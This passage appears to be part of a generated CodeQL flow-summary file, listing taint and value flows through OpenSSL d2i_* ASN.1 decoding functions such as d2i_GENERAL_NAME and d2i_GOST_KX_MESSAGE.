"d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", 